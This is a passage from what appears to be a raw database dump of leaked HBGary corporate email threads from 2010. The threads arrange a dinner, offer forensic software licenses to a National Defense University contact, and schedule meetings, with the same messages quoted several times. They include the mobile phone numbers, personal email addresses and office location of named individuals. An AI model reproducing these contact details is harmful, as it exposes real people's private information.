\'Aaron\r\nBarr\'\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was great to finally meet you too.&nbsp;&nbsp; I&#8217;ll let\r\nyou know when I&#8217;m out in DC.&nbsp;&nbsp; I&#8217;ll forward info to\r\nGreg.&nbsp; That done, let me introduce you to Aaron Barr, CEO of HBGary\r\nFederal and Jim Richards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp;\r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.&nbsp; I know we&#8217;ve tried to get with Ray when\r\nhe&#8217;s out in DC, but feel free to contact Irving directly.&nbsp; He can be\r\nreached at 202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.&nbsp; Irving is at National\r\nDefense University.&nbsp; Irving, the Responder Pro/DDNA is the instructor license.&nbsp;\r\nResponder Field Edition has a malware analysis module and forensic\r\nmodule.&nbsp; How many copies do you need for workstations?&nbsp; We&#8217;ll\r\nalso send you our training and some flip books that allow students to have a\r\ntake away.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n300 5th&nbsp;Avenue\r\nBldg 62\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarshall Hall Room 183H\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFort Lesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWashington, DC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 8:25 AM\r\nTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi there.&nbsp; Just wanted to thank you all for a very\r\nenjoyable dinner.&nbsp; It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, let me know if you want POCs at Triumfant.&nbsp; Greg\r\nseemed interested in learning more about them.&nbsp; Speaking of Greg, please\r\nforward this to him.&nbsp; When you have a moment, can you connect me with your\r\nFederal team?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th&nbsp;not 5th.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 12:56 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, sounds good\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 7:01 AM\r\nTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don\'t have\r\nto leave for a SFO until 8 or so.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley &lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;\r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.&nbsp; I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.&nbsp; So lets\r\ngo back to the 6PM dinner time.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s restaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9969,'aaron_hbgary_com/9969.html'),(5832,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004260.M592451P14101Q688.eml','\"Lachow, Irving\" <LachowI@ndu.edu>','Re: Thursday dinner','900 on the sixth is good.From my iPhoneOn Apr 29, 2010, at 5:36 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\nCan we do 0900?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 3:48 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nWhat time is good?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 7:40 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you free on the 6th?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 28,\r\n2010 10:56 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhen would you like to get together next?  I think you\r\nsaid something about next week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See you tomorrow. \r\n_____________________ \r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Lachow, Irving \r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;; nathan.atherley@gmail.com &lt;nathan.atherley@gmail.com&gt; \r\n\r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you still planning on attending the Palantir conference\r\ntomorrow?  HBGary will have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny.  I appreciate the introduction and really\r\nappreciate the DDNA license.  Before y’all send that along, let me\r\nconnect Jim with our lab people and so they can work this out directly. \r\nThey need to work the legal process carefully  and also assess where this\r\nwould fit into the lab’s current configuration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, got your VM.  Thanks for calling.  The next\r\nweek is crazy.  Are you going to the Palantir event on the 7th? \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, March 19,\r\n2010 2:11 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nCc: &#39;Jim Richards&#39;; &#39;Aaron\r\nBarr&#39;\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was great to finally meet you too.   I’ll let\r\nyou know when I’m out in DC.   I’ll forward info to\r\nGreg.  That done, let me introduce you to Aaron Barr, CEO of HBGary\r\nFederal and Jim Richards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, meet Irving Lachow, Ray Owen and Nathan Atherley. \r\nIrving is spearheading the development effort which we will be participating\r\nwith Ray and Nathan.  I know we’ve tried to get with Ray when\r\nhe’s out in DC, but feel free to contact Irving directly.  He can be\r\nreached at 202-903-7722 (mobile)  Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim, please send Irving Responder Pro with DDNA license for one\r\nyear and Field Edition for his training room.  Irving is at National\r\nDefense University.  Irving, the Responder Pro/DDNA is the instructor license. \r\nResponder Field Edition has a malware analysis module and forensic\r\nmodule.  How many copies do you need for workstations?  We’ll\r\nalso send you our training and some flip books that allow students to have a\r\ntake away. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n300 5th Avenue\r\nBldg 62\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarshall Hall Room 183H\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFort Lesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWashington, DC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Friday, March 19,\r\n2010 8:25 AM\r\nTo: Penny Leavy-Hoglund; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi there.  Just wanted to thank you all for a very\r\nenjoyable dinner.  It was great company and I enjoyed learning more about\r\nHB Gary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, let me know if you want POCs at Triumfant.  Greg\r\nseemed interested in learning more about them.  Speaking of Greg, please\r\nforward this to him.  When you have a moment, can you connect me with your\r\nFederal team?  Finally, there is the link to the Palantir event in April: http://palantirtech.eventbrite.com/. \r\nI got the date wrong, it is April 7th not 5th.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, March 18,\r\n2010 12:56 PM\r\nTo: Lachow, Irving; nathan.atherley@gmail.com; ray.owen@comcast.net\r\n\r\nSubject: RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, sounds good\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lachow, Irving\r\n[mailto:LachowI@ndu.edu] \r\nSent: Thursday, March 18,\r\n2010 7:01 AM\r\nTo: nathan.atherley@gmail.com; penny@hbgary.com; ray.owen@comcast.net\r\n\r\nSubject: Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate, sorry about that. I hope you can join us soon. I don&#39;t have\r\nto leave for a SFO until 8 or so. \r\n_____________________ \r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley &lt;nathan.atherley@gmail.com&gt; \r\n\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt; \r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay, Irv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to close the loop from my end.  I talked to Ray\r\nlast night and I believe Irv has got to catch a red eye tonight.  So lets\r\ngo back to the 6PM dinner time.  I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti&#39;s restaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417 S. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo Alto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6622,'aaron_hbgary_com/6622.html'),(5833,'2010-04-29','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297004260.M831490P14101Q689.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Thursday dinner','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; Will send invitation.&nbsp; Did you perm cert your\r\nclearance?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 5:41 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n900 on the sixth is good.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 5:36 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe do 0900?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 3:48 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat\r\ntime is good?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 29, 2010, at 7:40 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou free on the 6th?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, April 28,\r\n2010 10:56 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nwould you like to get together next? &nbsp;I think you said something about\r\nnext week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See\r\nyou tomorrow.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;\r\nTo: Lachow, Irving&nbsp;\r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;;&nbsp;nathan.atherley@gmail.com&nbsp;&lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou still planning on attending the Palantir conference tomorrow? &nbsp;HBGary\r\nwill have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nPenny.&nbsp; I appreciate the introduction and really appreciate the DDNA\r\nlicense.&nbsp; Before y&#8217;all send that along, let me connect Jim with our\r\nlab people and so they can work this out directly.&nbsp; They need to work the\r\nlegal process carefully&nbsp; and also assess where this would fit into the lab&#8217;s\r\ncurrent configuration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\ngot your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are\r\nyou going to the Palantir event on the 7th?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 19, 2010\r\n2:11 PM\r\nTo:&nbsp;Lachow, 